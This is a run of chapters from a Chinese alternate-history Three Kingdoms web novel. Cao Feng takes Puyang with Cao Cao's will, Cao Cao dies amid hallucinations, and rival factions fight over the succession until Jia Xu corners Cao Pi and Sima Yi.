每次! 每次遇到你这个活阎王,准没好事! 上一次的狼狈不堪还历历在目,如今又在这濮阳城下被你逼得走投无路! 满宠心中哀叹:造化弄人,真是造化弄人! 这些年我费尽心机,东躲西藏,避你如瘟神,就是不想再卷入你们父子之间的争斗。 可兜兜转转,机关算尽…… 到头来还是没能逃过你这命中克星的“眷顾”!被堵在这孤城之中! 就在曹风喊话的当口,之前被满宠派去传达守城命令的副官,因听闻城外异动,心急火燎地赶回了城楼。 他一眼就看到了城下那众星捧月般的曹风,心中顿时狂喜。 都说这曹风狡猾如狐,诡计多端,用兵如神。 如今看来,也不过如此! 竟然敢如此托大,只带着百来骑就跑到城下耀武扬威,这不是自投罗网,前来送死是什么? 简直是天赐良机! 若能一箭射杀曹风,为魏王除去心腹大患,那泼天的功劳…… 封侯拜将,指日可待! 巨大的诱惑瞬间冲昏了他的头脑,忘记了前不久险些被曹风麾下的先登斩杀的事情。 他毫不犹豫地抢过身边一名弓箭手的长弓,迅速将坚韧的弓弦拉成了满月,锁定了城下那个谈笑风生的身影。 他眼中的曹风,变成了功名利禄:这一箭,将改写他的命运! 满宠眼角的余光敏锐地捕捉到了副官的动作。 满宠猛地扭头,厉声疾呼:“混账!住手!快给我住手!” 可惜,还是迟了。 副官的手指已然松开,弓弦发出“嘣”的一声,那支承载着他妄想的羽箭,直射曹风的咽喉! 副官的脸上甚至已经绽放出得意洋洋的笑容,仿佛已经看到金印紫绶加身,听到魏王的嘉奖。 第241章 曹风:老满,给你看样好东西! 城下骑兵队列中,一员将领眼中精光爆射,反应极快! 正是曹性! 喜欢阴人的他,早就注意到了副将的小动作。 从副官登上城头的那一刻起,他的目光就未曾离开过。 几乎是本能反应,曹性闪电般抽箭、搭弦、开弓,动作一气呵成,行云流水,没有丝毫拖沓。 弓弦震动的刹那,一支更为迅疾、更为精准的羽箭离弦而出,后发先至! 只听得“叮”的一声刺耳的金属撞击声! 曹性射出的那支箭,不偏不倚,在半空中精准无比地击中了副官射出的那支夺命箭的箭镞! 副官的箭瞬间被撞得偏离了方向,最终无力地坠落在地。 “好大的狗胆!”话音未落,曹性手中弓弦再动! 第二支箭射向了城头。 目标正是那副官的喉咙! “噗嗤!” 副官脸上原本憧憬未来的得意表情瞬间凝固,随即被恐惧和难以置信所取代。 他双手捂住自己鲜血狂喷的咽喉,带着满腔的不甘,重重地仰面栽倒在冰冷的城砖上。 临死前他还在震惊: 怎么会有人能射出这么准、这么快的箭?! 满宠转过头,眼神复杂地看着地上那具还在微微抽搐的尸体,低声叹息道:“蠢货!十足的蠢货!你招惹他干什么?!” “还想杀他?先不说你有没有这个本事,就凭他是魏王的亲骨肉这一条,你杀了他,就算侥幸得手,你以为你还能活命吗?连带着我也得被魏王责骂。” “魏王可以杀曹风,你我却都不能杀曹风!” 城下的曹风,仿佛只是经历了一扬微不足道的小插曲,脸上甚至没有显露出丝毫的惊容或怒意。 曹风从马鞍旁取过一张强弓,又从箭壶中抽出一支特制羽箭。 随后又将曹操的遗嘱绑在了箭上。 “老满!”曹风朗声喊道,“给你看样好东西!接稳了!” 说罢,曹风在曹性崇敬的目光中,猿臂轻舒,挽弓如满月! 满宠心中又惊又怒:“你让我徒手接箭?!还接稳了?你把我当成你自己了?我要是有这能耐,早就下城楼和你单挑了!” “太守小心!”满宠身边的亲卫们惊得魂飞魄散,以为曹风要射杀满宠。 几人纷纷奋不顾身地扑上前,试图用身体为满宠挡下这一箭。 “都闪开!”满宠将挡在身前的护卫推开,“若公子真想要我的命,就凭你们几个,能护得住吗?” 满宠知道曹风的本事,这可是能与吕布单挑,还在占据上风的存在! 满宠突然醒悟,曹风根本就没起杀心。 箭矢的目标果然不是满宠,而是城楼上那杆高高飘扬、象征着曹操无上权威的巨大“曹”字帅旗! 箭矢精准无比地钉在了那杆粗壮旗杆的木质杆身上,箭尾剧烈地颤动着,发出嗡嗡的余响。 满宠深吸一口气,大步上前,抬手稳稳地拔下箭矢,小心翼翼地解下那卷轴。 满宠带着疑惑,缓缓将其展开。 当看过卷轴上的文字后,满宠握着卷轴的手竟不受控制地剧烈颤抖起来! 是魏王曹操的遗嘱,传位遗诏! “孤意已决,传位于三子曹风!” 满宠难以置信地目光,死死锁住那行字,反复确认。 没看错,是“传位于三子曹风”! 他再次猛地抬头,望向城下那个正朝着自己眨着眼睛的年轻公子——曹风! 满宠一时竟呆立当扬。 这怎么可能?! 雄才大略、心思深沉的魏王,竟然…… 竟然在最后时刻,将王位传给了他生前最不喜爱、关系最为疏远的三儿子曹风?! 并且这父子两人前不久还刀兵相见,不死不休! 然而遗嘱末尾处,那方独一无二的曹操印玺痕迹,印证了手中的遗嘱确实是魏王亲自诏下的! 震惊过后,紧随而至的是不解。 如此重要的东西,曹风为何如此轻易地、毫无防备地交给了他满宠? 难道曹风就丝毫不担心我满宠是曹丕或者其他公子安插在地方的心腹? 难道他就不怕我拿到遗嘱后毁掉,或者据为己有,甚至反过来利用它作为投靠其他公子的筹码? 这其中的风险,曹风不可能不知道! 除非…… 除非,曹风对他满宠,有着超乎寻常的信任?! 满宠强迫自己冷静下来,深吸了几口气。 他将曹操的遗嘱极其郑重、小心翼翼的卷好,然后抬起头,目光复杂地望向城下的曹风,扬声问道。 “公子!此物关系王位继承!您为何要将如贵重的东西,轻易交予在下?” 曹风闻言,在马上微微前倾身体,脸上的笑容更加灿烂。 “老满啊老满,你是什么样的人,我曹风心里跟明镜似的,还不清楚吗?” “这世上,若换了其他我不了解、不信任的人……” 曹风顿了顿,用马鞭遥遥一指满宠的咽喉要害处:“刚才那一箭,就不会是射在旗杆上,而是——一箭封喉!” 满宠闻言,脸上露出了一个比哭还难看的苦笑。 他缓缓地摇了摇头,心中不得不承认曹风所言非虚。 这位三公子箭术之精,他早有耳闻。 刚才若非曹风手下留情,他满宠此刻恐怕已经和地上那个愚蠢的副官一样,成为一具冰冷的尸体。 这位曾经被许多人轻视、嘲笑、甚至认为难成大器的三公子,其心机、其手段、其实力,已经成长到了如此惊人的地步! 曹风的魄力和对人心的掌控,都已远远超出了满宠预料! 满宠的目光越过了曹风的肩头,投向了他身后的远处。 那里有一眼望不到尽头的军帐。 旌旗蔽日,刀枪如林。 满宠明白了! 这传位遗嘱,对于曹丕和其他曹操子嗣来说,是争夺王位不可或缺的东西。 但对于此刻的曹风而言,它顶多算得上是锦上添花罢了。 真正的核心,在于那无可匹敌的实力! 在于那掌控在手的、足以让山河变色的雄兵! 在于那环绕在他身边、心甘情愿为之效死的当世名将与智谋之士! 王位? 以曹风如今所掌握的力量,他根本不需要仰仗曹操的遗嘱。 王位,他完全有资格、有实力,凭借自己的双手去夺取,去证明! 这份遗嘱,与其说是曹风继承的依据,不如说是他递给满宠,递给天下人的一个台阶,一个体面归顺的理由。 曹风见满宠站在城头有些出神,朗声大笑起来:“老满!看也看过了,想也想通了吧?” “如今有曹孟德亲笔遗嘱在此!这下,你这濮阳城门,总该为我曹风敞开了吧?” 第242章 程昱:徐荣将军,请管好你的嘴! 那年,曹风还是在许昌街头双手插兜、横行霸道的纨绔子弟,如今却已成长为统帅千军万马的魏王。这般变化,当真令人惊诧。 满宠苦笑着摇了摇头,随后不再有半分迟疑,大步流星地走下了城楼,身影很快消失在垛口之后。 不多时,濮阳城那两扇沉重厚实的巨大城门,被缓缓从内侧推开。 满宠的身影第一个出现在洞开的城门处。 他神情肃穆,一步步走到城外的空地上。 在他身后,是濮阳城主要的官员。 满宠站定,整理了一下衣冠铠甲,然后率先屈膝,朝着曹风的方向跪拜下去。 他身后的所有人,也跟着齐刷刷地跪倒一片。 满宠双手高高托举起遗嘱,声音洪亮、清晰:“臣,濮阳太守满宠,率濮阳军民,恭迎世子殿下入城!” 曹风脸上这才露出了满意的笑容。 他利落地翻身下马,快步走到满宠面前,伸出双手,亲自将其扶了起来。 紧接着,曹风做了一个让许多人都感到意外,甚至有些惊愕的举动。 曹风一手随意地从满宠手中抄起那份至关重要的遗嘱,仿佛那只是一件寻常物品。 另一只胳膊则极其自然、甚至带着点市井哥们儿义气般地伸了出去,不由分说地搂住了满宠的肩膀,如同多年老友重逢。 曹风就这么勾肩搭背地,半推半带着有些僵硬的满宠,朝着洞开的濮阳城门内走去! 满宠心中顿时涌起一阵强烈的惶恐与不安。 此时此刻的曹风,身份早已截然不同! 他不再是那个可以随意相处的三公子,而是手握曹操遗诏、即将成为新一代魏王、名正言顺的世子殿下! 尊卑有别,君臣之礼,乃是维系天下的纲常。 以曹风如今的身份地位,他满宠一个小小的太守,有什么资格与其如此勾肩搭背、形同平辈? 莫说勾肩搭背,即便是并肩而行,这在礼法森严的时代,也是臣子极大的僭越,失了本分! 他下意识地想要挣脱开。 然而,曹风那看似随意搭在他肩上的手臂,力量却出奇的大,让满宠根本无法挣扎开。 曹风感受到了满宠的抗拒,侧过头,脸上依旧带着笑容,半开玩笑半认真地说道:“老满,你这是做什么?” “怎么着?这才几年没见,你我之间的交情,就生分到这种地步了?” 满宠被这“交情”二字说得哭笑不得,连忙低声解释道:“世子殿下息怒。实在是如今您的身份已然不同,尊卑有别,礼制如此,下官万万不敢僭越啊!” 他刻意加重了“世子殿下”的称呼,强调着彼此身份的天壤之别。 这时,紧随在曹风身后的程昱也适时地开口提醒,“公子,满太守所言极是。此举确实于礼不合,略显轻率,恐惹人非议。” 还没等曹风回应,一旁性情豪爽耿直、嗓门洪亮的徐荣就忍不住了。他大手一挥,冲着满宠嚷嚷道:“嗐!老满!” “你听他程仲德瞎咧咧什么规矩礼制?他那都是酸腐之见!” “依我看,他这人最不懂规矩。” “你是不知道,就在前不久,这老小子还给我出了个毒计,差点把你给坑死在城里!” “要不是公子亲自星夜兼程赶来,你这会儿啊,怕是真要去见阎王爷了!” “他程昱现在说这些,我看呐,八成就是嫉妒!嫉妒公子跟你关系亲近,比他这个半路投靠的更受信任!” “他呀,还嫉妒那个病秧子郭嘉……” 一听到徐荣即将提起那个名字,程昱的脸色瞬间涨得通红,同时一股无名火“噌”地就窜上了脑门。 程昱怒视着徐荣:“徐将军!你能不能管好你这张惹是生非的破嘴!少在这里胡说八道,挑拨离间!” 程昱气得胡子都在微微发抖。 就在这时,一直沉默跟随的钟繇,终于找到了爆发的机会。 他紧赶两步来到程昱身边。 “程仲德!你还有脸说别人管不好嘴?!你先管好你自己的腿吧!不声不响,跑得比谁都快!” 程昱被钟繇的怒斥噎得一愣,脸上顿时浮现出尴尬和一丝不易察觉的愧色。 他确实理亏。 当初决定投靠曹风时,出于种种复杂考虑,他并未提前告诉交情匪浅的钟繇和陈群,而是独自一人悄然行动。 此刻被老友当面质问,他顿时有些语塞,气势也矮了半截,连忙堆起笑容,试图解释:“元常兄!你……你听我解释!” “事情不是你想的那样!当时情况万分紧急,瞬息万变,实在是……” 钟繇拂袖甩开程昱抓向自己的手,别过头去,完全不理会程昱的解释。显然是心中的那口恶气还没消下去。 “哈哈哈!”几人的言语交锋,顿时引起了后面跟随的一众文臣武将的大笑。 许褚笑得前仰后合,王双咧着嘴直摇头,马超嘴角勾起玩味的弧度,赵云眼中也闪过一丝笑意,连一向严肃的高顺,嘴角都微微抽动了一下。 紧张的气氛瞬间被这插曲冲淡了不少。 满宠被这突如其来的笑声弄得一愣。 随后看了眼程昱。 这还是他记忆中那个不苟言笑、严肃刻板的程昱程仲德吗? 看着程昱在徐荣的挤兑和钟繇的怒斥下窘迫解释的样子,简直判若两人! 忽然,一个想法在满宠脑海中出现—— 程昱的改变,根源在于那个正勾着自己肩膀、谈笑自若的年轻世子——曹风! 正是他独特的人格魅力和掌控力,在不知不觉中影响了这个小团体,让他们在他面前卸下往日的面具,展现出更真实、甚至更鲜活的一面。 满宠又想起徐荣刚才的话:“若不是公子亲至,你就死了。” 这句话让满宠心中泛起一阵酸楚。 回想起来,自己当初何尝不是对这位三公子心存轻视,甚至因为一些旧事与他有过小小的过节? 可曹风呢? 他不仅没计较前嫌,反而在自己深陷绝境时,救了自己的命! 他满宠何德何能,竟能得到曹风如此看重与厚待? 满宠紧绷的身体,似乎也微微放松了一些。 距离曹风最近的满宠,凭借着过人的耳力,清晰地捕捉到了曹风嘴边那几乎微不可闻的低语。 “濮阳,终于拿下了。接着就是北渡黄河……” “娘,儿子马上就能为您报仇雪恨了!” “大哥我又来濮阳了,那年我们……” 满宠的心猛地一紧! 曹风的声音里透着的刻骨仇恨和深沉思念。 满宠忽然明白,眼前这个谈笑风生、意气风发的年轻世子,这个手握重兵、即将登上权力巅峰的曹风,他的心里究竟压着多重的过往? 三公子…… 这些年,是怎么熬过来的? 不过,万幸的是…… 苦尽甘来。 第243章 曹操临死前的幻觉 满宠下意识地扭头望去。 只见城门外,一支规模庞大的车队正缓缓驶入。 车上装载的,是一个个鼓鼓囊囊、码放整齐的巨大麻袋。 曹风也注意到了满宠的目光,语气轻快地说道:“是粮食!刚从后方运抵的军粮。拿出大半来,分给濮阳城内的百姓,还有濮阳的将士们。” 满宠原本复杂的心情,此刻完全被敬佩所取代。 在这个人命不值钱、粮食比金子还贵的乱世,各路诸侯都把粮草当作命根子,这是维持军队、争夺天下的根本。 能主动拿出宝贵的军粮分发给降兵,这样的主公已经少之又少。 而像曹风这样,不仅分给降卒,还毫不犹豫地分发给城中受战火摧残的百姓,那就更少了! 这不光是心胸宽广的问题,也是一种仁政的体现和收服人心的手段。 满宠望着看不到头的运粮车队,对曹风的评价又上了一个新高度。 这位世子,他的格局和眼光,确实远超常人。 …… 邺城。 原本歌舞升平的铜雀台,如今气氛压抑得令人窒息。 一代奸雄曹操,这位曾经叱咤风云、扫荡群雄的霸主,此刻正虚弱地躺在病榻之上,脸色蜡黄,气息奄奄。 一名内侍连滚爬爬地冲入寝殿,带着哭腔,颤抖着声音禀报了濮阳失守、满宠开城投降的消息。 “噗——!”曹操浑浊的双眼猛地瞪圆,一大口殷红的鲜血喷出。 曹操艰难地喘息着,眼神中充满了不甘、愤怒。 濮阳的失守,说明他那个桀骜不驯、能力卓绝的三儿子曹风,根本没有丝毫停战议和的意思! 曹操弥留之际,意识开始模糊,眼前的景象扭曲变幻。 恍惚间,许多早已逝去的人影——那些曾在他生命里留下痕迹的面孔,如同从地狱深渊爬出的恶鬼,向他的病榻扑来。 最先浮现的,是那个曾权倾朝野、凶残暴虐的董卓! 他庞大的身躯被开膛破肚,肠子拖在地上,那张血盆大口流淌着粘稠的污血,不怀好意的笑容:“嘿嘿……孟德,别来无恙!这黄泉路上,咱家可寂寞得很呐!” 紧接着,是脖颈处喷涌着鲜血的吕伯奢! 他手里提着自己那颗双目圆睁、死不瞑目的头颅,一步一步,拖着沉重的步伐向曹操的病榻逼近。 那颗被提在手中的头颅,嘴唇竟然诡异地开合着,发出凄厉怨毒的声音:“曹孟德!曹阿瞒!还我一家老小的性命来!你好狠的心肠啊——!” 一个穿着低级督粮官服饰的无头身影,伸着僵直的手臂,在虚空中茫然地摸索着,声音悲凉:“我的头呢?我的头在哪里?!曹孟德,还我的头来!我没有贪墨军粮!我是冤枉的啊——!” 那是被他借以稳定军心而冤杀的粮官王垕。 面色惨白、毫无血色的袁绍,昔日四世三公的贵公子,如今在曹操眼中,也化作厉鬼。 他伸出枯瘦冰冷的手爪,直直地抓向曹操的面门,声音里带着怨毒:“孟德……曹孟德!说好的一起去劫那新娘子,你怎么……怎么才来啊?让我等得好苦!好苦啊!” 披头散发、状若疯癫的许攸也飘了过来,他指着曹操的鼻子,尖声叫骂,声音刺耳:“阿瞒!曹阿瞒!没有我许攸,你能得到冀州吗?!你能有今天吗?!你这个忘恩负义的小人!” 衣冠楚楚、手捧一份明黄诏书的董承,带着公卿大臣的威仪,眼神却如同毒蛇。 他展开诏书,声音冰冷地宣读:“皇帝诏曰:‘曹孟德,欺君罔上,挟持天子,祸乱朝纲,罪该万死!国舅董承,奉旨斩杀国贼!’杀——!” 最后出现的,是一身素白如雪、纤尘不染的荀彧。 这位他最倚重的谋主、最知心的朋友,此刻却背对着他,只留下一个寂寥的背影。 荀彧发出充满了失望与痛心的叹息:“明公……文若……只想问一句……公,何至于此?何至于此啊——?!” 紧接着,这些清晰的身影开始模糊、扭曲、扩散…… 无数更多的、数不清的、面目模糊的黑色影子从四面八方涌现出来。 层层叠叠,密密麻麻,挤满了整个寝殿的空间。 他们是被曹操下令屠城时惨死的无辜妇孺,是被他坑杀的袁绍降卒,是在他争霸路上无数被毁灭的生灵…… 他们伸着无数枯槁的手臂,口中发出凄厉、怨毒、汇聚成一片震耳欲聋的哭嚎:“还我命来——!曹贼!还我命来——!血债血偿——!” “啊——!”曹操惊恐地瞪大了布满血丝的双眼,想要挣扎着后退逃离,却发现躺在病榻上的自己虚弱得无法移动。 巨大的恐惧让他本能地伸出胳膊,想要遮挡住自己的眼睛,隔绝这恐怖的景象。 曹操用尽全身力气嘶吼着:“不!不!我没有错!我能有什么错?!” “宁教我负天下人,休教天下人负我!” 就在这时,曹操耳边又出现了幻听,是曹风的声音:“曹孟德,都是你的错!你说过‘不缺我这一个儿子’,那也不缺我这个仇人!” 曹操更加惊慌了,“护卫!我的护卫呢?!典韦!快来护驾!护驾啊——!” 就在曹操绝望边缘,一个让他刻骨铭心、承载着无尽愧疚与思念的声音,穿透了那重重叠叠的鬼哭狼嚎,清晰地在他耳边响起: “父亲莫慌!您先走!孩儿……来为您断后!” 这个声音! 是昂儿! 是他的长子曹昂! 曹操浑浊的泪水瞬间涌出,模糊了他惊恐的视线。 朦胧中,他看到一个熟悉的身影挡在了他的病榻之前。 那人一身染血的战甲,手持长枪,背影挺拔而坚定,如同不可逾越的山岳! 正是他的爱子曹昂! 曹昂挥舞着长枪,奋力阻挡着那些扑向曹操的恐怖鬼影,枪影翻飞,将那些魑魅魍魉暂时逼退。 “昂儿!我的昂儿!”曹操拼尽最后一丝力气,朝着那个浴血的背影伸出颤抖的手,充满了无尽的自责与悔恨,“是为父错了!是为父……对不起你啊!昂儿——!” ………… “魏王!魏王!您快醒醒啊!” “父王!父王!” “丞相——!” 寝殿内响彻着撕心裂肺的哭喊声,将昏迷中的曹操猛地惊醒。 曹操艰难地睁开了沉重的眼皮。 视线模糊中,他看到神医张仲景正紧皱着眉头,手指搭在自己的脉搏上,片刻之后,张仲景沉重地摇了摇头,发出一声无奈的叹息。 偌大的寝殿内,此刻已经密密麻麻跪满了曹氏宗亲,以及众多的妃嫔、近臣。 曹操只觉得身体里最后的气力正在快速流失。 他用尽最后一口气,从喉咙里挤出嘶哑的呼喊:“昂儿,我的昂儿,别走!父亲……父亲来了……来陪你了……” 魏王曹操,薨于邺城。 直到最后,他最想见的那个小小身影——孙女儿曹婴,终究没有出现在病榻前。 这或许正是远在濮阳、意气风发接管新领地的三公子曹风,对曹操最残酷、也最彻底的报复。 第244章 小太监:陛下别笑了!BOSS已经到家门口了! 当庄严肃穆的葬礼落幕,憨厚的曹宾便一丝不苟地执行了曹操最后的嘱托。 安葬好曹操后,只有他一个人活着回了邺城。 他褪去素缟,换上了一身所能找到的最为喜庆、最为鲜艳夺目的锦袍,随即在众人惊愕不解的目光中,发出阵阵洪亮的大笑,策马直奔曹洪的府邸而去! 曹洪府门前,曹宾身上刺眼的大红,和欢快的笑声,格外的刺眼。 曹洪闻讯赶了出来,没想到原本憨厚的曹宾竟会在曹操死后,如此大逆不道。 并且还在他府前如此做! 这不仅是对曹操的大不敬,还是在挑衅他! 曹洪顿时暴怒,未等曹宾开口解释一句,更无半分犹豫,腰间佩刀已然出鞘,寒光一闪,曹宾血溅当扬。 自此,曹操到底葬在哪里,便再无人知晓。 杀了曹宾后,曹洪开始的他的争权之路。 曹操生前对曹洪贪恋权贵的告诫,早已被曹洪抛诸脑后。 曹洪野心勃勃,决意独揽大权。 首要之事便是铲除异己,巩固自身势力。 他即刻召来了掌管诏令文书的重臣陈群,威逼其交出曹操的遗诏。 曹洪的算盘打得精明——他想篡改遗诏,将王位继承人改为曹彪。在他看来,曹彪年轻且易于操控,正好成为他手中敛财弄权的完美傀儡。 面对威逼,陈群面无惧色,直言相告:“遗诏已遵照魏王的遗愿,送达曹风公子处。” 曹洪勃然大怒,当即下令将陈群软禁,彻底切断其与外界的联系。 曹洪心里清楚,自己帐下的幕僚没人能想出好主意,只好又去请荀攸帮忙谋划。 荀攸则是称病委婉拒绝。 曹洪便自作主张,派人偷偷刻了魏王的印玺,伪造出一份“遗诏”,公开支持曹彪继任魏王。 然而,各大世家豪门各自都有属意和支持的人选,根本不想让曹彪继任为王。 眼看局势越来越乱,为了保住家族地位和争取未来利益,他们也开始在暗地里推波助澜,想要将曹彪拉下王位。 整个河北,尤其是权力核心的邺城,顿时陷入了混乱,朝堂之上人人自危,暗流汹涌。 在这片混乱的旋涡中心,蛰伏隐忍了许久的司马懿,终于在曹操死后,出手了! 司马懿的第一步棋便是以雷霆手段,从戒备森严的大狱中救出了被囚禁的曹丕。 紧接着,他动用了多年来秘密豢养的精锐私兵,设下圈套,成功将正忙于铲除异己、不可一世的曹洪生擒活捉。 重获自由的曹丕,对曹操怀着极深的怨恨。 不仅是因为他被囚禁时遭受的屈辱和折磨,更因为曹操临终前的遗嘱——竟要他的生母卞夫人陪葬! 曹丕知道,母亲完全是为了保护他才无辜受牵连,代他赴死。 掌控大权后,曹丕立刻废掉了曹洪扶持的傀儡魏王曹彪,自己取而代之。 并册封司马懿为抚军大将军。 皇宫深处…… 确认四下再无外人,刘协猛地一把扯下身上服丧的粗糙麻衣。 他眼中燃烧着压抑多年的屈辱与怒火,拔出佩剑,疯狂地将麻衣斩成碎片,抛洒一地。 “朕乃堂堂大汉天子!” 刘协对着空旷的大殿怒吼:“竟要为一个僭越的臣子披麻戴孝!奇耻大辱!” 随即,一阵近乎癫狂的大笑爆发出来:“曹贼!你终于死了!哈哈哈!苍天有眼啊!” “王司徒!王司徒!你在天之灵看到了吗?” “曹贼死了,被他的儿子曹风逼死了!大汉……大汉有救了!中兴有望了!” 在刘协眼中,曹丕远不如曹操那样让人绝望。 如今曹家内乱,正是他这个被压制了十几年的天子夺回大权、重振汉室的最好机会! 刘协的狂笑渐渐停下,眼泪却止不住地流下来。 这泪水里混杂着狂喜、心酸,还有说不出的悲凉。 只有他自己最清楚,这些年在曹操的阴影下,他经历了多少恐惧和屈辱! 他不得不小心翼翼地扮演一个懦弱无能的傀儡,把所有的不甘都压在心里。 世人都以为他这个皇帝软弱无能,可谁能明白他这些年是怎么熬过来的? 支撑他熬过这漫长黑暗时光的,是王允临死前托付给他的一支秘密力量——由百名死士组成的暗卫。 这是大汉王朝最后的希望,也是他保命翻盘的唯一底牌。 无论遭受怎样的羞辱,面对多大的危险,他都咬牙忍耐,始终没有动用这张最后的底牌。 而现在,时机终于到了! 暗卫也该重见阳光了! 刘协突然又想起了什么,随后毫不犹豫的咬破自己的食指,在准备好的绢帛上,忍痛疾书。 他一连写下了三份血诏。 第一份,是给大汉皇叔,以仁德闻名的左将军刘备。 第二份,给坐镇益州的汉室宗亲、州牧刘璋。 第三份,则是给雄踞江东的孙权。 血诏的目的只有一个: 命令他们即刻起兵,讨伐叛逆曹风! 刘协自己则将动用王允留下的那支精锐暗卫,伺机刺杀曹丕,从内部彻底瓦解曹家。 就在他眼中闪烁着对重掌江山、君临天下的热切憧憬时,殿外传来一阵急促慌乱的脚步声。 一个小太监连滚爬爬地冲了进来,声音带着哭腔:“陛……陛下!大事不好了!” “曹……曹风的大军,已经兵临邺城城下了!” “什么?!”刘协如遭雷击,手中的血诏险些掉落。 刘协双手不受控制地颤抖,满脸的难以置信:“怎么会……” “怎么会来得如此之快!曹丕这个废物!竟然让曹风如此轻易就渡过了黄河天险?!” 小太监浑身抖得厉害:“曹丕是派了曹休将军去拦截曹风渡河的。可那东吴降将周泰,在江上设伏,大败曹休将军的水军。” “曹休将军身中数十箭,已经殉国了!” 他猛地抬起头,眼中满是焦急,“陛下!趁着敌军尚未围城,您快随奴婢逃吧!再不走就真的来不及了!” 这个小太监,正是刘协与王允留下的暗卫之间的唯一联络人。 希望瞬间破灭,恐惧和绝望让刘协双腿一软,瘫倒在地,眼神空洞地望着高高的殿顶“为什么……” “为什么啊!这是天要亡我大汉吗?!朕隐忍多年,难道就换来这样的结局?!” 小太监急的直打转:“陛下!暗卫百名死士已全部集结在大殿之外,誓死护卫陛下突围!” “探子回报,曹风大军攻势猛烈,最多……” “最多半日,邺城必破!陛下,求您快下决断!” 第245章 贾诩:仲达,哪里走?! 刘协挣扎着撑起身体,眼中燃烧着不甘与愤怒。 “曹丕呢?他麾下的将领就算不善水战,葬送了黄河防线,可这邺城!这邺城乃天下坚城,易守难攻!” “他手握重兵,又有司马懿辅佐,怎么连半日都守不住?!” 小太监一脸苦涩:“陛下有所不知!刚刚传来消息……” “司马懿在城外布下了伏兵,可……” “可恨那曹风麾下,有一谋士眼光毒辣,竟将司马懿的计策一一识破!” “更可怕的是曹风军中那支‘先登死士营’,个个悍不畏死,攻城器械又精良无比,曹丕的守军根本抵挡不住!“ “曹丕本人已经在司马懿和残兵护卫下,放弃邺城,向塞外逃去了!” “可恶!无耻!”刘协气得浑身发抖,咬牙切齿。 “曹丕!他这是拿朕……” “拿朕当诱饵!” “他想用朕和这邺城拖住曹风,为他逃命争取时间!好狠毒的算计!和他爹曹贼一样的无耻!” 刘协心中又升起了一丝振兴大汉的侥幸。 他猛地抓住小太监,“快!快让王越来见朕!立刻!” 不多时,一个背着大剑的老者快步走入大殿,正是剑术大师王越。 他刚欲躬身行礼:“臣王越……” “免礼!”刘协心急如焚,根本等不及,他一把将刚刚写好的三份血诏塞进王越怀中。 刘协双手紧紧抓住王越的手臂:“王爱卿!大汉四百年基业,列祖列宗的江山社稷,朕今日就托付给你了!” “这三份血诏,务必!务必要分别送到皇叔刘备、益州刘璋牧守,还有江东孙权手中!” “尤其是给皇叔刘备的那一份,关乎国本,最为紧要!爱卿,大汉的存亡续绝,系于你一身啊!” 王越面色凝重,抱拳深深一躬:“陛下放心!臣王越,以性命和手中之剑起誓!这三封血诏,必会送达它们该去的地方!” 说罢,他不再有丝毫迟疑,迅速消失在宫殿之中。 王越很快便远离了天子所在的大殿。 行至一处相对僻静的回廊转角,他突然停下了脚步,声音低沉道:“离得这么远,你就不担心跟丢了吗?” 就在他停步之处,旁边宫殿高耸的房檐阴影里,闪出了一个身影。 那身影打了个哈欠,懒洋洋道:“师父放心,丢不了。那刘协总是哭哭唧唧的,离得近听着就心烦。我恨不得一剑砍翻他。” 王越点了点头,不再言语,身形再次加速,远离了皇宫,去找曹风去了。 这三份血诏该去的地方,不是刘备、刘璋和孙权那里,而是曹风手里。 刘协怎么也没想到,王越竟然也是曹风的人。 他最后的希望也彻底破灭了。 …… 通往塞外的荒凉古道上,尘土飞扬。 曹丕在司马懿率领的三千精锐骑兵拼死护卫下,正仓惶向北逃窜。 曹丕惊魂未定,不断用衣袖擦拭着额头上的冷汗,忍不住勒马回头,向身后邺城的方向远眺。 尽管距离已经相当遥远,但视野尽头,邺城上空那翻滚升腾的黑色浓烟依然清晰可见。 风中还隐隐传来震天的喊杀声。 司马懿也面色凝重地回望了一眼,沉声道:“魏王,此地不宜久留。邺城恐怕支撑不了多久了。我们必须加快速度。” 曹丕心中充满了不安:“仲达,我们选择的这条撤离路线会不会正好撞上张绣的兵马?我可是听闻张绣也是曹风的人。” 司马懿很镇定。自信道:“魏王多虑了。张绣此人勇猛有余,智谋不足,不过一介莽夫。” “他只会想着在主要关隘堵截,绝料不到我们会绕行这条隐秘的古道。” “此路虽然艰险,但胜在出其不意。请魏王宽心,加速前行便是。” 可司马懿话音刚落,前方转角处,便传来密集的马蹄声! 不多时,一支彪悍的骑兵部队已经拦在了道路前方,彻底截断了曹丕一行的去路。 为首大将,手持丈八长枪,正是张绣! 曹丕瞬间面无人色,惊骇地看向身旁瞬间失语的司马懿:“仲达!你不是说张绣只是个莽夫,料不到我们走此路吗?” “现在……现在该如何是好?!” 司马懿同样震惊,目光死死盯住张绣身后那支队列森严、杀气腾腾的骑兵。 当他看见藏在张绣身后,那个端坐马上、眼神却飘忽不定的文士时,瞳孔骤然收缩。 司马懿苦涩道:“张绣是莽夫不假……” “可他身边那位是算无遗策的贾文和啊!我早该想到……” 在整个曹魏阵营中,能让司马懿从心底感到忌惮甚至畏惧的,唯有三人: 早逝的鬼才郭嘉,刚死去的曹操,以及眼前这位以毒计闻名、洞悉人心的贾诩,贾文和! 司马懿万万没想到,自己精心选择的逃生之路,竟一头撞进了贾诩布下的天罗地网。 若此刻对面是程昱,他或许还能凭借急智周旋一二,觅得一线生机,但面对贾诩…… 司马懿心中第一次涌起了浓重的绝望。 贾诩端坐马上,连看都没看惊慌的曹丕一眼。 他目光落在司马懿身上,略一拱手:“仲达兄,别来无恙?魏王命在下在此恭候多时了。一路辛苦了,马上就送你上路。” 这一声“魏王”,就像一记无形的耳光,狠狠扇在曹丕脸上。 “混账!”曹丕瞬间暴怒,指着贾诩破口大骂,“贾文和!你这吃里扒外的狗贼!睁大你的狗眼看清楚!孤才是魏王!曹风算什么东西?” “你贾诩背叛孤,背叛父王,该当何罪!” 贾诩嘴角勾起一抹毫无温度的笑意,那笑容里充满了嘲讽。 “背叛?贾某追随的一直都是曹氏一门。武皇帝升遐,我自然忠于他指定的继承者——魏王曹风。何来背叛之说?” “倒是你,矫诏自立,囚禁大臣,祸乱朝纲,究竟是谁在背叛曹氏,背叛武皇帝的遗志?” 曹丕被这番义反问,问得脸上一阵青一阵白,手指着贾诩,嘴唇哆嗦着,却一个字也反驳不出来。 他下意识地看向身边的司马懿,希望他能站出来为自己辩驳。 此时的司马懿,脸色阴沉得几乎能滴出水来。 他根本无暇理会曹丕求助的目光,全部的精力都用在飞速观察张绣骑兵的布阵。 他试图在对方看似密不透风的包围圈中,找到哪怕一丝最薄弱的缝隙,作为拼死突围的方向。 